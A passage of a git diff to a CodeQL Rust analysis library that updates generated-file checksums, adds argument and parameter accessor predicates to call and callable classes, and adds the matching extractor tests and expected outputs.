67e2a106e9154c90367b129987e574d2a9ecf5b297536627e43706675d35eaed d6a381132ddd589c5a7ce174f50f9620041ddf690e15a65ebfb05ff7e7c02de7 @@ -240,7 +240,6 @@ lib/codeql/rust/elements/internal/BlockExprImpl.qll 36ac09e4a6eeeec22919b62b1d00 lib/codeql/rust/elements/internal/BoxPatConstructor.qll 153f110ba25fd6c889092bfd16f73bb610fa60d6e0c8965d5f44d2446fcd48a2 9324cf0d8aa29945551bf8ab64801d598f57aab8cd4e19bcd4e9ef8a4a4e06eb lib/codeql/rust/elements/internal/BreakExprConstructor.qll 356be043c28e0b34fdf925a119c945632ee883c6f5ebb9a27003c6a8d250afd9 bb77e66b04bb9489340e7506931559b94285c6904b6f9d2f83b214cba4f3cfd5 lib/codeql/rust/elements/internal/CallExprConstructor.qll 742b38e862e2cf82fd1ecc4d4fc5b4782a9c7c07f031452b2bae7aa59d5aa13a cad6e0a8be21d91b20ac2ec16cab9c30eae810b452c0f1992ed87d5c7f4144dc -lib/codeql/rust/elements/internal/CallableImpl.qll 917a7d298583e15246428f32fba4cde6fc57a1790262731be27a96baddd8cf5e c5c0848024e0fe3fbb775e7750cf1a2c2dfa454a5aef0df55fec3d0a6fe99190 lib/codeql/rust/elements/internal/CastExprConstructor.qll f3d6e10c4731f38a384675aeab3fba47d17b9e15648293787092bb3247ed808d d738a7751dbadb70aa1dcffcf8af7fa61d4cf8029798369a7e8620013afff4ed lib/codeql/rust/elements/internal/ClosureBinderConstructor.qll 6e376ab9d40308e95bcdaf1cc892472c92099d477720192cd382d2c4e0d9c8a1 60a0efe50203ad5bb97bdfc06d602182edcc48ac9670f2d27a9675bd9fd8e19f lib/codeql/rust/elements/internal/ClosureBinderImpl.qll 9f6ce7068b5c17df44f00037ebb42e6c8fdbbbd09bf89951221fb04f378fbdf1 6e6e372e151fe0b0f17a5ea0ed774553b6ed0bf53e1d377e5ed24a0f98529735 @@ -492,8 +491,8 @@ lib/codeql/rust/elements/internal/generated/BlockExpr.qll 5a5ddbe34bc478a7bd9b0d lib/codeql/rust/elements/internal/generated/BoxPat.qll 597bed52f7489e0addce3266f7bee5be7c53d2d1263eceec3a252d041ca0908f b8ccf363ca5f1a988547caf1fd266a55aec7cbf8623578deea99765d264b0151 lib/codeql/rust/elements/internal/generated/BreakExpr.qll 0f428a8b2f4209b134c2ffc3e1c93c30bc6b0e9c9172f140cefa88c1f77d8690 957b39f38ff6befe9061f55bc0b403c2f1c366dd0cf63b874bae6f8216576d76 lib/codeql/rust/elements/internal/generated/CallExpr.qll f1b8dae487077cc9d1dccf8c3cd61fd17afe860585f17ce8b860be4859be7ca4 6034fc03778e38802cdf3a6e460364b74e92912622581b31e6179951022bbbd6 -lib/codeql/rust/elements/internal/generated/CallExprBase.qll cce796e36847249f416629bacf3ea146313084de3374587412e66c10d2917b83 c219aa2174321c161a4a742ca0605521687ca9a5ca32db453a5c62db6f7784cc -lib/codeql/rust/elements/internal/generated/Callable.qll b0502b5263b7bcd18e740f284f992c0e600e37d68556e3e0ba54a2ac42b94934 bda3e1eea11cacf5a9b932cd72efc2de6105103e8c575880fcd0cd89daadf068 +lib/codeql/rust/elements/internal/generated/CallExprBase.qll 2268e01d65015014c05166161bb28e5a1e78164d525ca16fc1e3106866cf231d b2f9b912153ba4d3e3612df4f74ac0e83077c31d5b31383bd277974081417a56 +lib/codeql/rust/elements/internal/generated/Callable.qll 9a8661aa018fd90a21529760c1dbc46c1ad3649e17b030e59ced0683fbf83f8a 8b573adfc23ec0ac91949da415e6a0c988fa02cbce9534d45ac98a5512d7b1ca lib/codeql/rust/elements/internal/generated/CastExpr.qll ddc20054b0b339ad4d40298f3461490d25d00af87c876da5ffbc6a11c0832295 f4247307afcd74d80e926f29f8c57e78c50800984483e6b6003a44681e4a71f3 lib/codeql/rust/elements/internal/generated/ClosureBinder.qll ab199df96f525a083a0762fd654cd098802033c79700a593bb204a9a0c69ec01 86b33543e0886715830cfcdaca43b555a242a4f12a4caa18b88732d5afb584bd lib/codeql/rust/elements/internal/generated/ClosureExpr.qll 34149bf82f107591e65738221e1407ec1dc9cc0dfb10ae7f761116fda45162de fd2fbc9a87fc0773c940db64013cf784d5e4137515cc1020e2076da329f5a952 @@ -578,7 +577,7 @@ lib/codeql/rust/elements/internal/generated/ParamList.qll eaa0cd4402d3665013d47e lib/codeql/rust/elements/internal/generated/ParenExpr.qll 812d2ff65079277f39f15c084657a955a960a7c1c0e96dd60472a58d56b945eb eb8c607f43e1fcbb41f37a10de203a1db806690e10ff4f04d48ed874189cb0eb lib/codeql/rust/elements/internal/generated/ParenPat.qll 24f9dc7fce75827d6fddb856cd48f80168143151b27295c0bab6db5a06567a09 ebadbc6f5498e9ed754b39893ce0763840409a0721036a25b56e1ead7dcc09aa lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll 03f5c5b96a37adeb845352d7fcea3e098da9050e534972d14ac0f70d60a2d776 ed3d6e5d02086523087adebce4e89e35461eb95f2a66d1d4100fe23fc691b126 -lib/codeql/rust/elements/internal/generated/ParentChild.qll e2c6aaaa1735113f160c0e178d682bff8e9ebc627632f73c0dd2d1f4f9d692a8 61cf70eb649f241e2fcd5e0ba34df63f3a14f07032811b9ae151721783a0fd20 +lib/codeql/rust/elements/internal/generated/ParentChild.qll 794df100370be92e8537c2b90431d02558c4eeb783c68ffdc7fc6445629acae2 61cf70eb649f241e2fcd5e0ba34df63f3a14f07032811b9ae151721783a0fd20 lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll d901fdc8142a5b8847cc98fc2afcfd16428b8ace4fbffb457e761b5fd3901a77 5dbb0aea5a13f937da666ccb042494af8f11e776ade1459d16b70a4dd193f9fb lib/codeql/rust/elements/internal/generated/Pat.qll 3605ac062be2f294ee73336e9669027b8b655f4ad55660e1eab35266275154ee 7f9400db2884d336dd1d21df2a8093759c2a110be9bf6482ce8e80ae0fd74ed4 lib/codeql/rust/elements/internal/generated/Path.qll 9b12afb46fc5a9ad3a811b05472621bbecccb900c47504feb7f29d96b28421ca bcacbffc36fb3e0c9b26523b5963af0ffa9fd6b19f00a2a31bdb2316071546bd @@ -730,7 +729,8 @@ test/extractor-tests/generated/BreakExpr/BreakExpr.ql cdde2855d98f658187c60b9edc test/extractor-tests/generated/BreakExpr/BreakExpr_getAttr.ql c7690a9aab1923bf3c2fb06f0a1d441d480b3c91ee1df3a868bbbd96c4042053 c592dd077fb6e22b2d6ddcaec37da2c5a26ba92d84f5d1ae4c78a615b9013765 test/extractor-tests/generated/BreakExpr/BreakExpr_getExpr.ql 0358f4fe6a66da56177703cf0e991042729c5e34ae8b6dccbb827f95fe936c72 1cb2dd778c50e19fe04c5fdf3a08a502635ea8303e71ff38d03aa7dc53213986 test/extractor-tests/generated/BreakExpr/BreakExpr_getLifetime.ql ad83cc0db3c0f959fef6bb7ce0938d241a877e8cf84d15fb63879be2fe47238c 240b2fe2156b763d3a82fc64159615872db65b65ffb9ba2f3fd5d1ebd6c60f34 -test/extractor-tests/generated/CallExpr/CallExpr.ql ffb0cf1cb359a6dcbdf792a570c281e2d300779dca2dbc0f324990652adb972f 978a9e6c82758f9e8b334a682a02d6b893a6bf1db3cd85e9535839a9696b09b4 +test/extractor-tests/generated/CallExpr/CallExpr.ql cd38ec018b1afe9ae32ef94feca62295ad37c770c38b48a47bfb09697e7ee531 f6b0f2128cd5e63715f630c581d07b83678c298f7a7c56e38815e0d2c49ee36e +test/extractor-tests/generated/CallExpr/CallExpr_getArg.ql 7d8d53ee4a0642f85d6bbfee6912fead699b5d117534d2b1803a670550894484 1782b33724b72afc9b7d99e3a52cacd4431ce1e12a7e43a7ac9872aad769b4ee test/extractor-tests/generated/CallExpr/CallExpr_getArgList.ql b022e7b6b6db9932e787e37b7760c6a09c91140a0368940374a2c919688e0488 c20849c96b53c96f6f717efff5e8b4c0e900c0ef5d715cfbaf7101c7056ad8f4 test/extractor-tests/generated/CallExpr/CallExpr_getAttr.ql 1ace458070875b9ff2c671c2ee18392ea7bf6e51b68ee98d412c8606e8eb8d33 4c35da8255d2975cef4adee15623662441bb8f2e1d73582e4c193d1bc11cc1b5 test/extractor-tests/generated/CallExpr/CallExpr_getFunction.ql 060a6c8b5b85c839b14fe96f9e50291a7a0e5662a945f4f337070f782ec76715 e9a1e44433936146d87be939aa160848b9a7d7333c36da601fb7d1a66d71eb59 @@ -740,10 +740,11 @@ test/extractor-tests/generated/CastExpr/CastExpr_getExpr.ql c37186b8f3e3dab8ae28 test/extractor-tests/generated/CastExpr/CastExpr_getTypeRepr.ql ab6b0a61adc404c89c0e2e1962236a8e703fdc5092512bb4a5d9995af8e13c7b 4e7f6b6f58a1ef34ed45e31e35154dd8dc59054ebedcaa87200c84cc727ef1dd test/extractor-tests/generated/ClosureBinder/ClosureBinder.ql 42516df87ac28c814d65f6739b2ede6eaa41c505d64756a3b8c7e0ca79895230 8b840f92ec033a4ef5edbe52bed909d8be0fffddf6d3e4bfaf9a8bc174fa2f2c test/extractor-tests/generated/ClosureBinder/ClosureBinder_getGenericParamList.ql 71010c43a78a7abe8e63c94353f4b7eb97aca011755d200e7087467c1e3b7a68 2c834328f783ec5032544a692f7e23975bac0228b52b9f8fde46ef46a5f22a5f -test/extractor-tests/generated/ClosureExpr/ClosureExpr.ql f25f9b32e5c0cd61e4b75053a5af4640a08b115ea5a4310ab95df450f6dfe1c4 9b731218857fa16776e29bce084c2ec1526b24e15f46d4f24047917d77d4646a +test/extractor-tests/generated/ClosureExpr/ClosureExpr.ql 4d5f40935d07b0b24d77b93f56e9cea47666c5a3de84744641f9a4cb5d8d1319 b9a235c0a2d6a254d15f1fd1d0c8fdb6a7af51487b3826f26d8ca7a3b6cbc9b2 test/extractor-tests/generated/ClosureExpr/ClosureExpr_getAttr.ql f7f803afa4e2a5976c911fdf8a91ec607c2f998e22531b9c69a63d85579e34c3 1296acd0fb97e1484aa3f1d5ba09d18088001186f3ba5821eb3218a931ca0d54 test/extractor-tests/generated/ClosureExpr/ClosureExpr_getBody.ql 22a973a61274e87620e38338b29beef395818b95a88e2261fff197f7a78a8f76 bd28ed426e4d07823044db869aa8022dc81e8599d156e3e0e7cd49be914a1f36 test/extractor-tests/generated/ClosureExpr/ClosureExpr_getClosureBinder.ql cbfcf89b8efb5cb9b7bfbea26b5a78b3d4c7994cbf03d5ca60b61ee1b5cb4be5 621431277732ef79c585cb0b7199c49b14c597ee6b594a70d9e6966a09d40a9f +test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.ql c87b61e80dd62e031e8b310d8a4b781a468ecf2e5e81662be400f18bf33c5862 22abbc976a0e6f33c32c0e93cd0dd567cead13d82d561b9214275ea01b4a0573 test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParamList.ql 68ce501516094512dd5bfed42a785474583a91312f704087cba801b02ba7b834 eacbf89d63159e7decfd84c2a1dc5c067dfce56a8157fbb52bc133e9702d266d test/extractor-tests/generated/ClosureExpr/ClosureExpr_getRetType.ql c95bc7306b2d77aa05a6501b6321e6f1e7a48b7ad422ba082635ab20014288ae fe72d44c9819b42fff49b9092a9fb2bfafde6d3b9e4967547fb5298822f30bc3 test/extractor-tests/generated/Comment/Comment.ql 5428b8417a737f88f0d55d87de45c4693d81f03686f03da11dc5369e163d977b 8948c1860cde198d49cff7c74741f554a9e89f8af97bb94de80f3c62e1e29244 @@ -833,7 +834,7 @@ test/extractor-tests/generated/FormatArgsExpr/FormatTemplateVariableAccess.ql 27 test/extractor-tests/generated/FormatArgsExpr/Format_getArgumentRef.ql 634efdffaae4199aa9d95652cf081a8dc26e88224e24678845f8a67dc24ce090 d0302fee5c50403214771d5c6b896ba7c6e52be10c9bea59720ef2bb954e6f40 test/extractor-tests/generated/FormatArgsExpr/Format_getPrecisionArgument.ql 0d2140f84d0220b0c72c48c6bd272f4cfe1863d1797eddd16a6e238552a61e4d f4fe9b29697041e30764fa3dea44f125546bfb648f32c3474a1e922a4255c534 test/extractor-tests/generated/FormatArgsExpr/Format_getWidthArgument.ql 01ef27dd0bfab273e1ddc57ada0e079ece8a2bfd195ce413261006964b444093 acd0161f86010759417015c5b58044467a7f760f288ec4e8525458c54ae9a715 -test/extractor-tests/generated/Function/Function.ql 2efae1916e8f501668b3dbb2237cda788243fdd643683eda41b108dfdc578a90 6ec948518963985ec41b66e2b3b2b953e1da872dcd052a6d8c8f61c25bf09600 +test/extractor-tests/generated/Function/Function.ql b32c49f4371a51b9c217758fa5da2601d58bcbf3b195e7c8adb76bae5180d315 12e55c66a90ee88207c729736f388866cda13af78ea07a5d4e995c4a58a1e378 test/extractor-tests/generated/Function/Function_getAbi.ql e5c9c97de036ddd51cae5d99d41847c35c6b2eabbbd145f4467cb501edc606d8 0b81511528bd0ef9e63b19edfc3cb638d8af43eb87d018fad69d6ef8f8221454 test/extractor-tests/generated/Function/Function_getAttr.ql 44067ee11bdec8e91774ff10de0704a8c5c1b60816d587378e86bf3d82e1f660 b4bebf9441bda1f2d1e34e9261e07a7468cbabf53cf8047384f3c8b11869f04e test/extractor-tests/generated/Function/Function_getAttributeMacroExpansion.ql 17a346a9e5d28af99522520d1af3852db4cae01fb3d290a65c5f84d8d039c345 36fb06b55370828d9bc379cf5fad7f383cdb6f6db6f7377660276943ab0e1ec8 @@ -842,6 +843,7 @@ test/extractor-tests/generated/Function/Function_getCrateOrigin.ql acec761c56b38 test/extractor-tests/generated/Function/Function_getExtendedCanonicalPath.ql 0bcdca25bb92424007cea950409d73ba681e3ffbea53e0508f1d630fccfa8bed ff28c3349f5fc007d5f144e549579bd04870973c0fabef4198edce0fba0ef421 test/extractor-tests/generated/Function/Function_getGenericParamList.ql 0b255791c153b7cb03a64f1b9ab5beccc832984251f37516e1d06ce311e71c2b d200f90d4dd6f8dfd22ce49203423715d5bef27436c56ee553097c668e71c5a1 test/extractor-tests/generated/Function/Function_getName.ql 3d9e0518075d161213485389efe0adf8a9e6352dd1c6233ef0403a9abbcc7ed1 841e644ecefff7e9a82f458bcf14d9976d6a6dbe9191755ead88374d7c086375 +test/extractor-tests/generated/Function/Function_getParam.ql ef0b46453512fef08fbcc2a15bc14ae319bbc4810a4e4ce03a5ca3b1e8859ca7 ce36d3974059c1cd63eb1d6b76111985087f40dd4fe0c716a00aa9a178c712c4 test/extractor-tests/generated/Function/Function_getParamList.ql f888802ab00defb58de59cc39d1e0518e3884db7eaf845f39dfa55befdda58b2 ba0d1a07676f1c987b820a3d126a563ecf9a3d53ac1115b87a5af487a8a03c3e test/extractor-tests/generated/Function/Function_getRetType.ql b3a1ab90c8ebf0543e5db6a415896e44a02f984321f49bc409aec2657298942b cdfa37772e5026febb19c9bcd0d325688b0fbf2f6e7bba424b73eca38b9b3e38 test/extractor-tests/generated/Function/Function_getVisibility.ql 490b0a369c809a757d4835b97becf617b0399f16a63a2b06258c9a227d5cc415 25ceff15d3cd03821e1cb2c04cb8894bcd101eeca62b66b54d1751b628107818 @@ -965,7 +967,8 @@ test/extractor-tests/generated/Meta/Meta.ql 16f163f00ba2bbaa0a8c6f3f6710c860a8f6 test/extractor-tests/generated/Meta/Meta_getExpr.ql ec9ec61f5be7d65c32775fb5c068daea04f9db7d875293ed99cc1b2481db041f 77a0c52f1cb6ddc8fdb294d637f9eda1b7301ffa3067f0fca6272d894f57d3ee test/extractor-tests/generated/Meta/Meta_getPath.ql aa9d4145a4e613c51b6e4637d57e3b7d0f66e0bb88f4ce959d598870814c06bb 2087e00686d502c0e2e89c88eae0fb354463576a9ae4101320981d3fd79b9078 test/extractor-tests/generated/Meta/Meta_getTokenTree.ql 1051c27ffd0d9a20436d684fde529b9ff55abe30d50e1d575b0318951e75bd34 983975672d928fb907676628384c949731da9807bf0c781bb7ec749d25733d2d -test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql d141f5a2ef95019aa64e8cb384ab4a45e7a93c941b84ef2e14c13377f159e4db 47a68fc874af6cc9a4b278a5aab1633a9db17300fd7dbd6dbe193d48d99144bc +test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql 85d3b8c794167f87840469e03d21aa00daf0998c28028f1c8848c7c4bd895db4 fa368ce4543c2544ecd2e636ade8d92849741226599290f59e0138a4a479357c +test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.ql 10a88c3bf63dfb26f43b9cd1ed7fceef0f436ce2eff4b5a816da369bf5b775d2 ee3b5043719591b4048ec32e21bb5fb3a9f83f0420ef18c338fc0ac28d0e3240 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArgList.ql 180e0b1715f5cd2be0de01bff3d3a45594b495b8250748d40ff7108d6c85923d bdadcdbecca5891287a47b6dd6b2fda62e07457718aef39212503ab63bc17783 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getAttr.ql 2ce876a04a159efce83b863dffc47fbb714b95daea2b91fa6fbb623d28eed9ec 7bca1cd0e8fbceec0e640afb6800e1780eff5b5b402e71b9b169c0ba26966f96 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getGenericArgList.ql 655db9a0501b1ef20d604cc4cd9d708371781291443e8dec97b70ec2914601d2 2fc7df0eca22dcef2f9f5c86d37ee43452d372a4c0f9f4da0194828c82ba93e0 diff --git a/rust/ql/.gitattributes b/rust/ql/.gitattributes index 3326912c0ca..65c3aae0e9e 100644 --- a/rust/ql/.gitattributes +++ b/rust/ql/.gitattributes @@ -242,7 +242,6 @@ /lib/codeql/rust/elements/internal/BoxPatConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/BreakExprConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/CallExprConstructor.qll linguist-generated -/lib/codeql/rust/elements/internal/CallableImpl.qll linguist-generated /lib/codeql/rust/elements/internal/CastExprConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/ClosureBinderConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/ClosureBinderImpl.qll linguist-generated @@ -733,6 +732,7 @@ /test/extractor-tests/generated/BreakExpr/BreakExpr_getExpr.ql linguist-generated /test/extractor-tests/generated/BreakExpr/BreakExpr_getLifetime.ql linguist-generated /test/extractor-tests/generated/CallExpr/CallExpr.ql linguist-generated +/test/extractor-tests/generated/CallExpr/CallExpr_getArg.ql linguist-generated /test/extractor-tests/generated/CallExpr/CallExpr_getArgList.ql linguist-generated /test/extractor-tests/generated/CallExpr/CallExpr_getAttr.ql linguist-generated /test/extractor-tests/generated/CallExpr/CallExpr_getFunction.ql linguist-generated @@ -746,6 +746,7 @@ /test/extractor-tests/generated/ClosureExpr/ClosureExpr_getAttr.ql linguist-generated /test/extractor-tests/generated/ClosureExpr/ClosureExpr_getBody.ql linguist-generated /test/extractor-tests/generated/ClosureExpr/ClosureExpr_getClosureBinder.ql linguist-generated +/test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.ql linguist-generated /test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParamList.ql linguist-generated /test/extractor-tests/generated/ClosureExpr/ClosureExpr_getRetType.ql linguist-generated /test/extractor-tests/generated/Comment/Comment.ql linguist-generated @@ -844,6 +845,7 @@ /test/extractor-tests/generated/Function/Function_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Function/Function_getGenericParamList.ql linguist-generated /test/extractor-tests/generated/Function/Function_getName.ql linguist-generated +/test/extractor-tests/generated/Function/Function_getParam.ql linguist-generated /test/extractor-tests/generated/Function/Function_getParamList.ql linguist-generated /test/extractor-tests/generated/Function/Function_getRetType.ql linguist-generated /test/extractor-tests/generated/Function/Function_getVisibility.ql linguist-generated @@ -968,6 +970,7 @@ /test/extractor-tests/generated/Meta/Meta_getPath.ql linguist-generated /test/extractor-tests/generated/Meta/Meta_getTokenTree.ql linguist-generated /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql linguist-generated +/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.ql linguist-generated /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArgList.ql linguist-generated /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getAttr.ql linguist-generated /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getGenericArgList.ql linguist-generated diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll index cfa37ed4539..36dd0fb304f 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll @@ -722,6 +722,21 @@ module MakeCfgNodes Input> { * Gets the number of attrs of this call expression base. */ int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) } + + /** + * Gets the `index`th argument of this call expression base (0-based). + */ + Expr getArg(int index) { result = node.getArg(index) } + + /** + * Gets any of the arguments of this call expression base. + */ + Expr getAnArg() { result = this.getArg(_) } + + /** + * Gets the number of arguments of this call expression base. + */ + int getNumberOfArgs() { result = count(int i | exists(this.getArg(i))) } } final private class ParentCastExpr extends ParentAstNode, CastExpr { diff --git a/rust/ql/lib/codeql/rust/elements/Callable.qll b/rust/ql/lib/codeql/rust/elements/Callable.qll index c42262a1854..11d029fff7d 100644 --- a/rust/ql/lib/codeql/rust/elements/Callable.qll +++ b/rust/ql/lib/codeql/rust/elements/Callable.qll @@ -6,6 +6,7 @@ private import internal.CallableImpl import codeql.rust.elements.AstNode import codeql.rust.elements.Attr +import codeql.rust.elements.Param import codeql.rust.elements.ParamList /** diff --git a/rust/ql/lib/codeql/rust/elements/internal/CallExprBaseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CallExprBaseImpl.qll index c916b717bf6..b78720b08fa 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/CallExprBaseImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/CallExprBaseImpl.qll @@ -28,5 +28,7 @@ module Impl { class CallExprBase extends Generated::CallExprBase { /** Gets the static target of this call, if any. */ Callable getStaticTarget() { none() } // overridden by subclasses, but cannot be made abstract + + override Expr getArg(int index) { result = this.getArgList().getArg(index) } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/CallableImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CallableImpl.qll index d604b4d239f..37e24a9150c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/CallableImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/CallableImpl.qll @@ -1,4 +1,3 @@ -// generated by codegen, remove this comment if you wish to edit this file /** * This module provides a hand-modifiable wrapper around the generated class `Callable`. * @@ -12,8 +11,11 @@ private import codeql.rust.elements.internal.generated.Callable * be referenced directly. */ module Impl { + // the following QLdoc is generated: if you need to edit it, do it in the schema file /** * A callable. Either a `Function` or a `ClosureExpr`. */ - class Callable extends Generated::Callable { } + class Callable extends Generated::Callable { + override Param getParam(int index) { result = this.getParamList().getParam(index) } + } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/CallExprBase.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/CallExprBase.qll index 046558c356d..1d6364fb94f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/CallExprBase.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/CallExprBase.qll @@ -8,6 +8,7 @@ private import codeql.rust.elements.internal.generated.Synth private import codeql.rust.elements.internal.generated.Raw import codeql.rust.elements.ArgList import codeql.rust.elements.Attr +import codeql.rust.elements.Expr import codeql.rust.elements.internal.ExprImpl::Impl as ExprImpl /** @@ -55,5 +56,20 @@ module Generated { * Gets the number of attrs of this call expression base. */ final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) } + + /** + * Gets the `index`th argument of this call expression base (0-based). + */ + Expr getArg(int index) { none() } + + /** + * Gets any of the arguments of this call expression base. + */ + final Expr getAnArg() { result = this.getArg(_) } + + /** + * Gets the number of arguments of this call expression base. + */ + final int getNumberOfArgs() { result = count(int i | exists(this.getArg(i))) } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Callable.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Callable.qll index 710cfe2078e..f42f711dcf8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Callable.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Callable.qll @@ -8,6 +8,7 @@ private import codeql.rust.elements.internal.generated.Synth private import codeql.rust.elements.internal.generated.Raw import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl import codeql.rust.elements.Attr +import codeql.rust.elements.Param import codeql.rust.elements.ParamList /** @@ -53,5 +54,20 @@ module Generated { * Gets the number of attrs of this callable. */ final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) } + + /** + * Gets the `index`th parameter of this callable (0-based). + */ + Param getParam(int index) { none() } + + /** + * Gets any of the parameters of this callable. + */ + final Param getAParam() { result = this.getParam(_) } + + /** + * Gets the number of parameters of this callable. + */ + final int getNumberOfParams() { result = count(int i | exists(this.getParam(i))) } } } diff --git a/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr.expected b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr.expected index ebe6eeda104..31824b731a6 100644 --- a/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr.expected +++ b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr.expected @@ -1,4 +1,4 @@ -| gen_call_expr.rs:5:5:5:11 | foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasFunction: | yes | -| gen_call_expr.rs:6:5:6:23 | foo::<...>(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasFunction: | yes | -| gen_call_expr.rs:7:5:7:14 | ...(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasFunction: | yes | -| gen_call_expr.rs:8:5:8:10 | foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasFunction: | yes | +| gen_call_expr.rs:5:5:5:11 | foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | getNumberOfArgs: | 1 | hasFunction: | yes | +| gen_call_expr.rs:6:5:6:23 | foo::<...>(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | getNumberOfArgs: | 1 | hasFunction: | yes | +| gen_call_expr.rs:7:5:7:14 | ...(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | getNumberOfArgs: | 1 | hasFunction: | yes | +| gen_call_expr.rs:8:5:8:10 | foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | getNumberOfArgs: | 1 | hasFunction: | yes | diff --git a/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr.ql b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr.ql index cd043e88d1d..8abf8b2a08e 100644 --- a/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr.ql +++ b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr.ql @@ -2,12 +2,13 @@ import codeql.rust.elements import TestUtils -from CallExpr x, string hasArgList, int getNumberOfAttrs, string hasFunction +from CallExpr x, string hasArgList, int getNumberOfAttrs, int getNumberOfArgs, string hasFunction where toBeTested(x) and not x.isUnknown() and (if x.hasArgList() then hasArgList = "yes" else hasArgList = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and + getNumberOfArgs = x.getNumberOfArgs() and if x.hasFunction() then hasFunction = "yes" else hasFunction = "no" -select x, "hasArgList:", hasArgList, "getNumberOfAttrs:", getNumberOfAttrs, "hasFunction:", - hasFunction +select x, "hasArgList:", hasArgList, "getNumberOfAttrs:", getNumberOfAttrs, "getNumberOfArgs:", + getNumberOfArgs, "hasFunction:", hasFunction diff --git a/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getArg.expected b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getArg.expected new file mode 100644 index 00000000000..2bf84953410 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getArg.expected @@ -0,0 +1,4 @@ +| gen_call_expr.rs:5:5:5:11 | foo(...) | 0 | gen_call_expr.rs:5:9:5:10 | 42 | +| gen_call_expr.rs:6:5:6:23 | foo::<...>(...) | 0 | gen_call_expr.rs:6:21:6:22 | 42 | +| gen_call_expr.rs:7:5:7:14 | ...(...) | 0 | gen_call_expr.rs:7:12:7:13 | 42 | +| gen_call_expr.rs:8:5:8:10 | foo(...) | 0 | gen_call_expr.rs:8:9:8:9 | 1 | diff --git a/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getArg.ql b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getArg.ql new file mode 100644 index 00000000000..37483c3e637 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getArg.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from CallExpr x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getArg(index) diff --git a/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr.expected b/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr.expected index 3ea9f463a00..d8a9b33ce0e 100644 --- a/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr.expected @@ -1,5 +1,5 @@ -| gen_closure_expr.rs:5:5:5:13 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 0 | hasBody: | yes | hasClosureBinder: | no | isAsync: | no | isConst: | no | isGen: | no | isMove: | no | isStatic: | no | hasRetType: | no | -| gen_closure_expr.rs:6:5:6:34 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 0 | hasBody: | yes | hasClosureBinder: | no | isAsync: | no | isConst: | no | isGen: | no | isMove: | yes | isStatic: | no | hasRetType: | yes | -| 